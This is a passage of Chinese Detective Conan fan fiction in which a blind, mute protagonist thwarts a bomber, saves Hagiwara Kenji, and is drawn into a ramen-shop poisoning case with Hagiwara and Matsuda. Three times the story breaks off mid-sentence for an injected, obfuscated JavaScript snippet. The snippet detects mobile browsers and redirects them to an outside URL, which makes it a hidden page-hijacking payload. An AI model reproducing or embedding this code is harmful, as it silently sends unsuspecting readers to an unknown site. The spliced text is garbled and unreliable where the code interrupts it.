诸伏清浅咬牙切齿地打开系统面板连上网,将编辑的传真机黑了把之前的存稿打包发了过去。 系统就算是没有智能的辅助系统,但它到底是个挂。当年清浅摸索着摸索着把开发者模式开了,咋摸着还真研究了点东西出来。 系统完全可以看作是一台脑内计算机,时钟、地图侦查、原著剧情等功能可以看作系统自带功能,而清浅自己是可以在系统里上网的。 是的,虽然不太清楚原理是什么,但它可以联网!无痕浏览的那种! 这代表什么?这代表他能搞事啊! 当时清浅就火速捏了个黑客马甲,决定给这里的人们来一波二十一世纪信息时代的信息网络技术震撼——倒是没想到当年为了搞oc学的编程能用在这方面。 诸伏清浅开了四个马甲,漫画家,小说家,作曲家,黑客。其中黑客马甲一开始是为了给组织一些比较糟糕的任务添堵才开的,结果在和公安一来二去的情报交流后反倒熟悉起来了。 熟悉起来后也不客气了:) 【泥惨会后天有一批大额交易,你有详细的情报吗?——from 樱花】 泥惨会?后天? 诸伏清浅回忆了一下组织最近的任务,倒是没有一条是和“后天”、“交易”挂钩的。 泥惨会自己的私下交易? 诸伏清浅果断地将稿子推到一边,开始黑进泥惨会的干部手机里翻情报,顺便联系了一下自己在那里的情报网。 【我最近现实世界有点忙啦,可能会迟点回复你——后天?后天不行,后天我真没空,我先把有关的线索整理一下发给你吧。——from Dawn】 【帮大忙了。——from 樱花】 后天?后天他还真没空。 清浅看着日历上圈起来的11月7号,收拾收拾东西准备把舞台让出来。 * 11月7日,警视厅受到炸弹犯的犯罪预告,要求警方准备10亿日元不然就把两栋楼炸上天。 爆处班的王牌双子星兵分两路,各自带一队队员前往炸弹所在地。 刺啦—— 浅井别墅区,一辆警车急刹停在炸弹所处的公寓的楼下。已然拆完炸弹、带着墨镜的松田阵平额前尚有被防爆服闷出的汗水。看见同事正在组织最后一批居民撤离,他把目光转向高耸入云的公寓楼。 嘟,嘟—— “莫西莫西,小阵平?” 待耳边的电话接通,松田的声音带着严肃与一丝不易察觉的不安,但还是冷静地催促: “喂萩,居民已经全部撤离了,赶紧把炸弹拆除然后下楼。” 公寓中半长发的警官叼着烟盘坐在地上,原本应该穿在身上的防爆服整整齐齐地叠好放在一旁,面对面前旁人唯恐避之不及的炸弹依旧是一副淡定的模样。 闻言萩原将烟蒂丢进专门的灭烟袋,听着电话里幼驯染凶巴巴的语气甚至还能和对方拌嘴几句。 “哎呀小阵平,你那边已经搞定了吗?” “啊,那还用说?那种程度的炸弹——” “‘我只需要三分钟’,对吧?”萩原研二非常自然的接上幼驯染未尽的话语,“看来犯人把重点放在我这边了呢,我可能会比小阵平慢一些哦。” “你有这时间和我拌嘴还不如赶紧搞定下来,谁知道犯人会怎么想——” “好啦好啦,那我开始了——” 在松田阵平听不见的地方,萩原的队员小声提醒自家队长:“那个,队长,防爆服……” 萩原研二转头给了他一个wink,露出一副可怜兮兮的模样。 “因为防爆服穿着真的很热嘛,我看过炸弹的结构,是我们平常会训练到的类型,很快就能拆掉——所以拜托小泉不要说出去拉——” 小泉面露难色,但他还想说什么的时候他家萩原队长已经开始拆炸弹的外壳了,最终他张了张口,还是什么也没说。 * 其实萩原的死劫说简单也简单,说难也难。如果目的只是将他的命保下来,那么阻止他拆弹、在爆炸前让他撤离、抓住炸弹犯,方法有百千种; 但难就难在拆弹警察本就是常年在生死边缘行走的职业,根本没有死劫的概念,或者说每一次的拆弹工作都是他们的死劫。清浅可以救下萩原研二一次,但他不可能,也没办法每一次都能救下。 诸伏清浅手里提着从医院取回来的报告单,根据系统定位敲着盲杖,逐渐朝人声喧哗处走去。 “喂!走路不看路吗!” 诸伏清浅走着走着就和一个人肩膀狠狠撞上,双方都被撞的踉跄一下。炸弹犯本来准备按下引爆器将公寓里的条子全部炸上天的兴奋被这一撞打断,情绪的不连贯让他不由自主地迁怒。 恼怒的声音吓得对方身体一抖,手里捏着盲杖不知所措的鞠躬道歉。 “[对、对不起……我不知道这里有人……]” 电子音…… 炸弹犯撇了眼对方从兜里摸出手机打字的动作和手里的盲杖。 “……嗤,一个瞎子,竟然还是个哑巴。” 刚刚他们的争执已经引起部分路人的注意,他不愿再纠缠下去,生怕引来便衣警察。将引爆器往袖口里藏了藏,拉上卫衣兜帽就想低调离开。 ……可他对面的瞎子可不这么想。 “[什么话,瞎子和哑巴怎么你了!]”电子音的音量似乎随着主人被踩中雷点的炸毛而变大几分,甚至能从机械呆板的语调中听出愤怒的情绪。 “[我说你这家伙,看不起残疾人就算了,撞到人为什么不道歉?真是失礼!]” 瞎子一把抓住对方的胳膊,另一只手用让人不禁吐槽“这真的是人类能有的手速吗”的速度噼里啪啦地打字输出: “[我一般都是往人少的地方贴着墙走的,导盲杖的声音但凡不是个聋子应该都能注意到,难不成你耳朵被耳屎堵了?而且瞎子我老远就听到你一个人在这里瞎叨叨什么‘愚蠢’啊‘条子’啊‘去死’什么的——你该不会是想报社吧?]” 炸弹犯已经有些被发现的惊恐和计划被打断的恼怒了,但更多的还是对面前这个多事的瞎子蒸腾而起的杀意。 “滚开!” 他猛地一甩手,想要甩开瞎子的钳制,却没想到对方的腕力这么强,他一甩竟然没甩开,对方反而因此抓得更紧了。 “[哇,你这家伙恼羞成怒了吗?我听到前面有警笛声——前面出事了?那你这个在现场附近的疑似报社分子就很可疑了啊!警察先生——]” 最后一句话瞎子刻意将手机音量调到最大,不仅引起了更多路人都注目,更引起了附近便衣警察的注意,此刻他们已经在朝这边赶来。 “你这个混蛋……!”条子已经发现他了! 既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835125|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然这样……既然这样! 炸弹犯咬牙切齿,想要甩开瞎子的钳制,推搡间手已经挪到了引爆器按钮上。清·瞎子·浅自然预想到这个发展,或者说这个发展正在朝他安排的剧本进行——他借着推搡间的动作,暗地里一捏对方的麻筋,借着对方的力道一甩,一个隐晦的缴械让引爆器脱手而出! “你他妈……!”/“嘿你们两个怎么回事!” 炸弹犯压低声音的怒吼和警察的呵斥声同时响起,炸弹犯还想去捡地上的引爆器,诸伏清浅脸色一冷,手中盲杖一扫击中对方的脚踝让他重心不稳,然后引导对方往自己身上摔,营造出一个对方推倒自己的样子——为了逼真他是真的硬生生没做防护往后一倒,为警察的到来拖延时间。 “你们两个——” 炸弹犯狼狈地爬起身,恶狠狠地盯着诸伏清浅,似乎要记住对方的样子。他深知这一次勒索条子的计划因为眼前的瞎子彻底泡汤了,所以临走前他决定一定要给这个罪魁祸首来一个狠的——他伸手往后腰的匕首探去。 ——却摸了个空。 呵,你当偷盗技能MAX是什么? 炸弹犯看见对方嘴角勾起一个若有若无的、嘲讽的微笑。 “你们两个没事吧?”警察们已经赶到他们身旁,看着地上散落的医疗报告单正要去捡结果看见了同样掉在地上的引爆器。 “这是……引爆器!”眼尖的老刑警一眼认出了东西,脸色一变! 怒气值被点满的炸弹犯一看情况不妙,愤愤地瞪了清浅一眼,转身就跑! “嘿,你给我站住!拦住他!”老刑警反应极快地去追,留下年轻的后辈照顾“无辜躺枪”的诸伏清浅。 诸伏清浅在地上摸索半晌都摸不到自己的嘴替手机,最后还是小刑警将其和整理好的医疗单子递给他才得以“解除禁言”。 嘛……这个时候看不见就真的很麻烦了。打字感谢了小刑警,诸伏清浅慢吞吞地站起身。因为剧情作用下必定能够逃离警察追捕的炸弹犯,他这个和炸弹犯有过密切接触的路人肯定是逃不过笔录的。尽管他对此早有预料,但不知是不是身份的原因,清浅现在有点怵警察。 * “最后一根——搞定!” 萩原研二看着熄灭的显示屏松了一口气,紧绷的神经放松下来,丝毫没有形象的瘫坐在地,抹了一把脑门上的汗。 虽然拆得没有小阵平快,但hagi也把炸弹拆成零件了哦! 萩原研二看着被自己肢解的炸弹暗自点头。 “好——收队!” 下到一楼,萩原研二朝大步走来的幼驯染挥挥手:“小阵平——我拆完了哦,我们待会去吃拉面吧?接到出警任务都没来得及吃饭,饿死研二酱了都——小阵平?” “萩。” 萩原研二听出了即将到来的暴风雨,莫名心虚的他忍住远离危险性暴增的幼驯染的脚步,试探性地问:“我在?” “你没穿防爆服。” 虽有出汗但依旧干爽的幼驯染和在防爆服里闷出一身汗显得有些狼狈的自己形成鲜明对比,松田阵平一看就知道这家伙干了什么。 绝——对是没穿防爆服吧?也是,高中时期就烟酒都来、能把车开到天上的家伙怎么看都不像是会老老实实按规矩来的,但都什么时候了还敢不把防护当回事! 大不妙!研二酱大危机! “等等等等我错了小阵平别打脸——嗷!” 松田阵平忍无可忍地一拳揍在挂着心虚笑容的混蛋脸上。 干得好松田队长! 小泉等萩原小队的队员心里畅快地吐一口气——虽然很相信队长的实力,但队长实在是太乱来了! 隔着老远都能听见萩原研二被揍而夸张的惨叫声,正在接受警察询问的诸伏清浅听见活力满满的声音不禁放松些许。 ……活下来了。 那家伙活该被揍。 13. 决定 至于回到爆处班听到还有引爆器但幸好犯人被及时拦下、才知道自己在鬼门关前逛了一圈的萩原研二又被幼驯染拉着一顿友好交流的事就不过多赘述。 “嘶——小阵平下手真狠。”萩原研二揉着被打出淤青的脸龇牙咧嘴。时间已经过去数天,但幼驯染很明显还在气头上,本来就像□□大佬的气质在低气压下更有压迫力,爆处班的同事这几天都绕着他走,路过他的工位时都下意识地放轻声音和脚步。 “小阵平。” 卷毛青年平静的抬眸,凫青色的眸子平静地从手中的炸弹模型移到半长发青年身上,明明只是平静地一扫却给人一种大佬轻蔑一瞥的感觉。 小阵平完——全不会好好使用自己的脸啊,虽然生气的小阵平也很可爱但研二酱真的受不住这个低气压呜哇—— 他讨好地朝对方wink一下:“等下中午去吃拉面吧?去之前我说的那家味道还不错的店。”上一次因为糟糕的炸弹犯和后面杂七杂八的报告笔录拖着,最后他们的午饭都是在食堂草草解决的——根本没有时间去尝一尝那一家好吃的拉面。 “都行。”松田阵平除了炸弹机械,对其他方面倒是十分随性。他打了个哈欠,收拾收拾桌面被他拆得七零八碎的模型打算去茶水间接杯咖啡,结果—— “松田,来我办公室一趟。”高桥部长——他们的上司手里拿着份文件,敲了敲办公室的门引起众人的注意后叫走了松田阵平。 “知道了。” 奇怪……小阵平好像对此早有预料。 萩原研二若有所思地看着幼驯染懒散离去的背影,漂亮的紫罗兰色眸子中尽是担忧。 “萩原,部长叫松田去干嘛啊?”隔壁的同事好奇道。 “这个啊——我也不知道噢。” 同事震惊地“诶”了一声:“你们不是幼驯染吗?” 对啊,他们不是幼驯染吗?小阵平是有什么事在瞒着自己吗? “幼驯染也会有私人空间的嘛。”萩原脸上神色不变地应道,给自己做了番心里建设后暗自叹了口气。 ……没关系,小阵平会和我说的,只是时间问题罢了。 毕竟他们是幼驯染,是彼此的半身,他们之间不会有隔阂和秘密。 他相信小阵平。 * “然后小泉因为胡乱猜测被柴田制裁了哈哈……” 萩原推荐的拉面确实好吃,面馆的生意也因此火爆,二人排队许久才轮到——不过因为这份美味,等待也变得能够接受起来。 警视厅交际花依旧发挥稳定,将有趣的情报八卦汇总当作饭间氛围的调节剂,以致于不让不善交际的幼驯染与社交圈脱节太久。 “……小山治竟然会发出‘你们不是幼驯染吗’的疑问——怎么可能!我和小阵平可是天底下最好的幼驯染!” 萩原振振有词,“hagi酱和小阵平之间是没有秘密的,是知根知底的存在!”就连小阵平从小到大的黑历史研二酱都有备份! 直觉系嘴里塞了面,腮帮子微微鼓起,闻言敏锐抬头:“你在想什么失礼的事,萩。” 萩原研二避而不谈:“所以hagi酱很好奇你和高桥部长谈了什么啦。” “什么啊,绕了这么一大圈就为了问这个吗。” 或许是因为知道接下来的话题比较糟糕,松田放弃追究萩原研二转移话题的可疑行径。 “是关于我申请调职去搜查一科的事情。” ……什么。 常年笑脸迎人的萩原研二表情难得空白一瞬。 “为什么要转去搜查一科?小阵平的能力放在爆处班更能大放异彩吧——是遭受职场霸凌了吗?如果小阵平不想交际的话可以全权交给hagi的……” “萩。” “还是说高桥部长为难你了?上级刁难确实让人苦恼,我们可以偷偷挖坑……” “萩!” 萩原研二闭嘴了。 松田阵平放下筷子,认真地盯着自己的幼驯染。 “萩,你知道为什么。” 他当然知道。 拥有超高洞察力的半长发警官嘴角虽然勾着,但笑容却是苦涩的。 是因为我。 “小阵平在害怕吗?” “是啊,你这个混蛋总是做一些危险的事情,无论是高中时偷偷抽烟喝酒还是半夜三更在山路上无证飙车。”凫青色的清亮眸子里尽是坦然。 萩原研二看上去是个乖宝宝,但骨子里绝对不是循 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835126|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 规蹈矩的人,甚至有时候还会疯出天际。 从小到大松田阵平替他背的锅还不少吗?这小子插科打诨钻规则漏洞可是个熟手,但这一次着实太过过分了。 松田阵平至今无法表述当时听到有引爆器、炸弹差点回秒以及幼驯染没穿防爆服在炸弹旁抽烟时的后怕和愤怒。 万一炸弹爆炸怎么办? 万一萩殉职了怎么办? 万一我以后再也见不到萩了怎么办? ……我怎么办? 松田阵平的人生缺了萩原研二是不完整的,他根本不敢细想他失去萩原研二的未来。 他这些天闲下来偶尔也会思考,如果当初是不是应该拒绝萩跟着自己进爆处组,是不是不应该让萩跟着自己报警察志愿,是不是不应该—— 其实最好的办法是想办法让萩调职或者辞职离开爆处班,但多年幼驯染的知根知底让他知道萩根本不可能同意他的提议。 就算当时嚷着警察是铁饭碗不会失业这种离谱的理由报考(好吧,他的也很离谱),但愿意承担高风险成为拆弹警察并履行职责保护群众本身就证明了他的决定不是儿戏——萩有在认真对待这份职业。 因此害怕死亡就调职什么的,根本不是萩会选择的东西。 可犯人到现在仍没有多少线索,炸弹犯一日不抓,他实在无法彻底放心——谁知道那种不把人命放在眼里的愉悦犯会不会再次犯案甚至报复萩? 既然无法说动萩远离危险,那么他想办法把危险掐灭就好了。爆处班能够接触的案件和线索有限,调职去搜查一科实时跟进案件进度是最好的选择。 松田阵平是个直率的人,连人生信条都是一脚油门向前冲的家伙怎么可能像他表面表现的一样冷静,他的内心定然压抑着一座活火山。 萩原研二何尝不知道松田阵平的想法?无法改变他人那就改变自己,小阵平完全是把自己吃得死死的,堵住了自己所有劝说的话——这是小阵平的决定。 而他向来信任且支持对方,更何况这次确实是他有错在先。 “……想做就做吧。”萩原研二搓了把脸,紫罗兰色的漂亮眸子中无奈的笑意掩盖住了一丝说不清道不明的情绪。 “真是——败给你了。” 14. 再次见面 正当他们打算开启下一个话题时,一阵喧哗打断了他们。 “喂,走路不看路啊!” “……” “像你这种低等的家伙——” 谁骂的这么脏?萩原研二眉头一皱,往后一翘椅子猫猫探头,然后看见了一个熟悉的身影。 “……小浅井?” 诸伏清浅今天本来是打算随便找一家店应付午饭的,毕竟他的每日to do list都安排的满满当当,实在很难挤出时间出门觅食——然今天发现冰箱里的存货告罄,为了不饿死家中他不得不出来。 ——但他也没想到随手选的店就能中大奖,在系统番剧里n刷过的声音在现实中隐隐传来,被他敏锐的听力捕捉到。 爆处班双子星?他们也来这里吃饭啊。 清浅的思绪不由自主地飘忽一瞬,想要捕捉他们更多的谈话内容,结果一个没注意和人撞上了。 诸伏清浅:……这句话好熟悉,他好像几天前才听人说过。 啊——好烦,还是别惹事生非了。 只见黒缎缠目的瘦弱青年一手捏着导盲杖,一手扶着桌子微微弯腰以表歉意。 明眼人一看他的打扮就知道青年的困难,但身体的缺陷没有得到对方的善意以待,反而成为了对方发泄的出口。 “瞎子?都瞎了还敢上街乱晃,别以为撞到人了一句‘我看不见’就能轻易获得原谅!你知不知道我这件衣服有多贵吗!” 对方挺着个啤酒肚,怒气冲冲地指着衬衣上因两人撞上而沾染的果汁污渍,满脸油光五官扭曲地向弱者倾泻着恶意。 “好啦,亲爱的,何必跟一个瞎子一般见识?”和男人一块的女人坐在座位上看着这场闹剧,漫不经心地欣赏着自己的美甲,片刻后朝服务员一挥手:“浅川——这里再要一杯果汁——” 名为浅川的服务员闻言身子僵了一下,匆忙应声转身进入后厨。 “嘁,连话都不说,该不会还是个哑巴吧?”找茬者不屑冷哼一声。 找茬者看见青年迟疑地点了点头。 找茬者:“……?” 尼玛,更气了。 “像你这种低等人——” “不好意思——这位先生。” 找茬者即将脱口而出的污言秽语被一道温和富有磁性的声音打断,身高傲视群雄的半长发警官揽住目盲少年的肩,脸上明明是笑着的却给人一种心慌之感。 “不知您找我的朋友有什么事呢?” 萩原研二的手搭上来时清浅差点将人甩飞出去,僵住的肩膀在良好的自我控制力下放松下来,但明显的存在感让他的手蠢蠢欲动。 他强迫自己挪开注意力,转而关注面前的对话。 啊……简直就是笑面狐狸啊萩原警官,但帮大忙了。 感恩解围。[双手合十祈祷.jpg] 或许是萩原研二身上的气场过于强大,找茬者生动形象地诠释了什么叫欺软怕硬,在萩原研二三言两语中借口离开,清浅得以从纷争中退出,心里直呼语言的艺术。 “抱歉小浅井,擅自替你做了决定。”萩原研二双手合十做出一个讨饶的手势,反应过来清浅看不见后语气变得更加可怜兮兮。 头一次面对名柯中公认的社交达人的攻势,诸伏清浅的内心小人倒吸一口凉气战术后仰,表面上则是手忙脚乱地掏出电子草稿板刷刷地回话。 “[是我要感谢萩原警官帮忙解围才对。]” “哎呀小浅井认出我啦?” “[目前为止就只有萩原警官会这么称呼我。]”青年写板子的动作顿了顿,很快又肯定地下笔。 “[而且帅哥的声音很好听,一下子就记住了。]” “光听声音就知道我很帅啦?” “[我可是实话实说。就算不论样貌,萩原警官的性格也是妥妥的加分项啊。]” 你可是被誉为白月光的白月光的男人啊。 “那——谢谢夸奖?”萩原研二眨眨眼,“小浅井要来和我们拼桌吗?今天店里有优惠,消费满2000円会送小菜——我和小阵平——也就是我的幼驯染,单单就我们两个人够到要求还是蛮艰难的。” “[感谢邀请——如果萩原警官不嫌麻烦的话。毕竟我是第一次来这里,有人推荐当然是好的。]” “当然——”萩原研二笑弯了眼睛,紫罗兰色的眸子里撒着细碎的光。“那我们现在过去,需要我带着你吗?” ……很温柔。 萩原研二的确是一个很容易让人涨好感度的男人,比起番剧里的片面刻画,现实里的遇见与交流更能让人印象深刻。即使在“温柔”这个形容词泛滥的日本,诸伏清浅也忍不住用“温柔”来形容对方。 盲人亦有“眼”,其名曰为“心眼”。视力的丢失同时也减少了外界信息的干扰,他们更能“看”到一个人的内里。 ——那是融进骨子里的细致和体贴,闪闪发光的灵魂散发着柔和温暖的光芒。 ……让人不忍看到其消散。 诸伏清浅黑布下的猫眼眨了眨,驱散了眼球上蒙着的水雾。他小心地拉住萩原研二的一片衣角,在对方的引导下迈步。 * “好慢,萩。”松田阵平单手托腮,懒散地打了个哈欠,看见幼驯染带回来一个人诧异地挑眉。“怎么还把人带过来了?” “抱歉抱歉,因为是认识的人嘛。”萩原研二熟练地wink,“是我和你说过的小浅井哦。” “猜出来了。”松田望着目盲青年眼睛上极具标志性的黑布,“我是松田阵平。” 青年似是走神了一瞬,但很快回神,举起草稿板子哒哒写字。 “[果然,听声音就知道一定是个大帅哥——咳,我是说,你好,我是浅井尘。]” “噗,好啦,我们先帮小浅井点餐吧?” 同样看到板子的萩原研二忍不住笑出来,在幼驯染疑惑的目光中给了他一个“不告诉你”的眼神,然后得到对方一个无语的白眼。 社交达人在吃饭期间就没让话题掉下来过,但在哑巴吃饭的时候让人抽出时间写字回答是不是过于为难人家—— 松田阵平看着右手拿筷子嗦面,左手在板子上一心二用、龙飞凤舞地写字(板子后面有防滑垫,不怕写着写着板子飞出去)和萩原研二聊天的诸伏清浅,想了想还是放弃了劝阻。 “不过没想到小浅井竟然能倒着写字——左右手都可以吗?” “[左右都可以,倒着写镜像写都行,ddl战士赶稿子必备技能。]”虽然他每次都按时交稿,但只要他的待办事项足够多,那他每天不是这个ddl就是那个ddl : ) “赶稿的话,作家?”松田问道。 “[随便写写混口饭吃啦。]” 反正‘浅井尘’这个假身份要用很久,经历都是实打实的存在的,一些基本信息随便查查就能翻到,清浅倒也不怕被面前二位警官得知。于是聊着聊着萩原研二就把新朋友的基本情况摸清楚了。 19岁,是个未成年,孤儿,经济条件看起来不错。职业是作家,从表面反应来看应该属于小有名气那一类。四处游历顺带求医(看看眼睛还有没有机会治好),最近刚搬到东京,打算在此常驻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835127|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “所以小浅井打算在东京定居啊——有需要的话我可以帮忙介绍中介哦?” “[这个倒是不用啦,我买了房——不过我已经打算卖掉或者租出去了。]” “诶?为什么?” “[……风水不好。]”目盲少年顿了顿,突然想起来一件事。“[萩原警官和松田警官是拆弹警察的话,应该知道前几天的炸弹勒索案?]” “啊,当然,炸弹是我和萩负责拆的。”松田摸了摸烟盒,但在店里他还是放弃了抽一根的想法。“我负责神户区的,萩负责吉冈三丁目附近的浅井别墅区的——哈,这个家伙甚至没穿防爆服。” 目盲少年不说话了。 “呜哇小阵平我真的知道错了,hagi下次一定会好好穿的——”萩原研二欲哭无泪。 一朝翻车,他家幼驯染能蛐蛐他一辈子。 为了躲过说教或者幼驯染间的“友好”交流(比如说小阵平的拳头),萩原想办法转移话题,结果还真让他想起来一件事。 “说起来山田前辈和我说过那位发现炸弹犯的热心市民,听负责笔录的青木前辈说是位盲……”人。 二人皆顿住,反应过来看向“安静”许久的诸伏清浅。 “……小浅井?”不会吧这么巧的吗? 诸伏清浅微笑。 “[炸弹放置地点是浅井别墅B栋21层对吗?]” 萩原研二看着板子,居然觉得自己从这行字里看出了咬牙切齿的意味。 ……一定是错觉。 “[那是我家。]” “[刚全款买下不到一个星期的那种。]” ……好的不是错觉。 “[我他妈就应该打断那个混蛋的腿。]”这算是变相承认了。 啊……说出了超级可怕的话呢,小浅井。 松田阵平倒是毫不客气地笑出声:“感谢人家救你一条狗命吧萩,不过浅井你也真够倒霉的。” 诸伏清浅叹气:“[所以我才说打算把它卖掉啊,我绝对和那里犯冲——明明一开始我还打着它和我的姓氏一样的念头买下的。]” 松田阵平:…… 他有点看不懂现在的未成年了,高档公寓说买就买说不要就不要,您不是一般的有钱,显得我们这些为租房头痛的大人们很逊欸。 “[不过话说回来,萩原警官又没穿防爆服?]” 松田阵平眼神犀利:“又?” 萩原研二:…… 救命啊今天是什么hagi批斗大会吗? 虽说在拉面馆碰上纯属巧合,但诸伏清浅不介意借着这次机会给这对早逝的爆处双子星上上眼药。 他现在的职业和身份注定他不可能和身为警察的他们走得太近,如果不想把警官先生拉进危险的漩涡的话,泛泛之交混个脸熟已经是极限。 拆弹本就是一项在鬼门关前反复横跳的活儿,清浅不可能、也没有立场因为拆弹危险就劝这两位负责的警察放弃这份职业。 可他没办法每一次都救下萩原研二。 他“我本能救”的人多的去了,他“我本能救却亲手结束”的人也多的去了,每个人的性命和命运都应由自己掌控,没有人能为他人保驾护航一辈子,也没有人能够自私地替他人做决定、或轻浮地把别人的担子压在自己身上。 所以他只能一遍遍的安抚自己,让这群不省心的家伙们好好地把自身安全放在第一位。 “[就算是为了让亲朋好友安心——萩原警官也稍微重视一下自己的安全啊。]” 未来的日子还很长,要好好的活下去啊。 15. 一些过渡 事情是怎么变成这样的? 诸伏清浅捧着一杯果汁,安静地听着警视厅鉴识课的警察来来往往。 坏消息,死人了。 好消息,这是米花町特产,问题不大。 坏消息,死的是和他有冲突的找茬者,他成嫌疑人了。 好消息,人不是他杀的,有萩原研二和松田阵平在应该很快就能破案。 从某种意义上说,米花町比木仓战每一天的自由美利坚危险多了,吃着吃着突然一声尖叫传来,吓得清浅差点一口面噎死自己。 咋滴店家往面里投毒了还是死人了? 内心吐槽着,等两位警察先生前去控场了解情况后清浅从围观群众那儿听了一嘴,人麻了。 人确实死了,毒也确实是投了,但应该是仇杀,店家表示太晦气了不背这个锅。 负责案件的是诸伏清浅单方面的老熟人目暮警官,了解情况后把最有嫌疑的两人留下来问话。 死者叫羽田顺一,一个大公司的经理,死因是老生常谈的□□中毒,毒在他的面里检测到了,因此有机会接触面的服务员浅川和死者的女友结城奈奈子最有嫌疑。 大厨?大厨表示无冤无仇的我干嘛给他下毒,他甚至都不认识死者! 因为根据现场很容易判定为仇杀,所以当问及与死者的恩怨时就很容易演变成嫌疑人互撕揭短。 女友说服务员以前是死者公司里的下属,因为死者挪用公款找了他背锅替死导致他丢了工作,没办法给生病的母亲筹钱治病所以怀恨在心; 服务员说女友也不赖,别以为他不知道死者挪用的钱大部分都进了对方的口袋,你身上的衣服和包包哪个不是大牌货。而且最近死者在外面另寻新欢我不信你不知道。 围观吃瓜的诸伏清浅不语,只是一味的觉得这个公司的社长好惨,平白没了一大笔钱。 “那他不也有嫌疑吗?”被说破防的女友愤怒一指不远处吃瓜的目盲少年,“他刚刚还被顺一刁难,恼羞成怒下毒也不是不可能的吧?!” 啊?我? 目盲少年一脸懵逼地指着自己,满头问号。 坏了,他进犯人三选一了 : ) 未等萩原和松田解释什么,顶着一众警官视线的少年慢慢地摸出手机,然后开始噼里啪啦地打字。 “[不是,大姐,您急了也不能因为瞎子我好欺负就乱咬一通啊,泼脏水这么厉害还要什么消防队,火灾出警就应该找你。]” “[且不说我和他起争执——准确来说是他单方面找茬的时候你们的面应该还没上,后来我一直和萩原先生和松田先生一直在一起,根本没机会碰你们的面,而且让一个瞎子往面里精准投毒是不是太过为难我了?]” 少年哼气一声以表嘲讽。 “[而且我一个瞎子没事把□□带在身上做什么?随时随地报复社会吗?我要是报复我就不可能把你落下,看不起瞎子的混账东西。]” “你!” “[人要是真不是你杀的你就应该像我和浅川先生一样冷静等警察处理,而不是到处泼脏水,俩嘴唇一碰就开始叭叭乱说,那样只会显得你心虚。]” 诸伏清浅在一众警官目瞪口呆的注视下把发言完毕的手机往桌上一扔,然后悄悄地把袖口夹层里的毒药往里藏了藏。 嗯……他带的是组织特制的毒药,不是□□,没毛病。 他心虚不过两秒又理直气壮起来。 好,好强的战斗力! 被清浅的手速和话语震惊的众人咽了口唾沫,最后还是萩原研二出来打圆场才把话题拉回案件上。 说实话女友的手法并不高超,心理抗压能力也不好,表现破绽百出,非常有笑面虎潜质的萩原警官稍微施压一下对方就开始一跪二哭三忏悔交代。 满打满算事件结束也不过一点多,效率不可谓不快。 听着临走前目暮警官将萩原研二的肩膀拍得彭彭响,一口一个萩原老弟,诸伏清浅微不可察地勾了勾唇。毕竟这幅画面可不曾在原著出现过,却彰显着世界脱离原著的一大进步。 松田阵平忽略幼驯染求助的眼神,拍了拍清浅的肩膀:“走了,我和萩先送你回去。” 被拍得寒毛炸起的诸伏清浅:? 他莫名有种不妙的预感:“[这也太麻烦你们了,我可以自己回去的。]” 回去?回哪儿?浅井别墅那边的痕迹他都已经打扫干净,早就和中介签了合同租出去,最近一段时间他都是窝在附近的安全屋里赶死线赶得酣畅淋漓,压根就没时间考虑过浅井尘这个身份的新住处。 ……他总不能自曝一个安全屋吧?他可没把握在拆卸达人的眼皮子底下藏住一屋子武器。 “这话说的,我们可不放心你一个人——万一小浅井在路上遇到坏人怎么办?”半长发警官艰难从目暮警官铁掌下逃生,一把揽过幼驯染,报复性地把自己的重心压在对方身上,最后得到对方一个肘击。 没事,他们没我坏。 诸伏清浅心里即答。 虽说如此,清浅也明白如果不想引起这两位的疑心的话,这关是不能糊弄过去了。 一个瞎子出门回家总是不方便的,怎么能拒绝好心人的帮助呢! “[……那就麻烦了。]”诸伏清浅看似脸上平静,实则汗流浃背。 死脑子快想啊!没有藏不该藏的东西的安全屋他应该是有准备的,在哪儿来着…… 正当他打算找个理由搪塞之际,一个熟悉的地址浮现在他的脑海里。 “[米花町2丁目20番,麻烦萩原警官了。]”他来不及多想,下意识地吧这串地址报出。 “嗐,客气什么。那是小浅井新租的房子吗?” “[不,是全款拿下。]” 松田&萩原:…… “我没记错的话那一带都是别墅区吧。”松田指出,没管萩原飘忽的思绪。 而且是富人别墅区,住在那里的人非富即贵的那种。 看来浅井尘的财力比他们想象中的还要厉害。(清浅:不,那是因为组织能报销) “[嗯,那里比较清静。]” 清浅胡乱回应,脑内风暴开始回想那处屋子有没有什么不见得人的东西,路上有一搭没一搭地和两位警官聊天。 “全款拿下啊……当作家这么赚钱吗?小浅井的作品应该很出名吧?” “[啊……果然说出来会有些羞耻, 